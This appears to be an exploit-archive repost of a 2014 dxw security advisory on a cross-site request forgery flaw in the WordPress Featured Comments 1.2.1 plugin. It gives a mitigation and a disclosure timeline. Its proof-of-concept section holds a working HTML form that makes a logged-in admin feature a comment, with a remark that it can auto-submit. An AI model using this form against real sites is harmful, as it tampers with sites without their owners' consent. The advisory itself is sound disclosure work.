Exploit the possiblities

WordPress Featured Comments 1.2.1 Cross Site Request Forgery

WordPress Featured Comments 1.2.1 Cross Site Request Forgery
Posted Jun 10, 2014
Authored by Tom Adams

WordPress Featured Comments plugin version 1.2.1 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | ad146081d42caba8e2051575803a2f77

WordPress Featured Comments 1.2.1 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: Featured Comments
Version: 1.2.1
Homepage: http://wordpress.org/plugins/feature-comments/
Advisory ID: dxw-2014-1360
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses

Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\">
<input type=\"text\" name=\"do\" value=\"feature\">
<input type=\"text\" name=\"comment_id\" value=\"9\">
<input type=\"submit\">
</form>

Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-05-22: Discovered
2014-05-23: Email address for report requested via contact form at pippinsplugins.com
2014-05-26: Author acknowledged report
2014-06-10: dxw chased to establish timeline for a fix


Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




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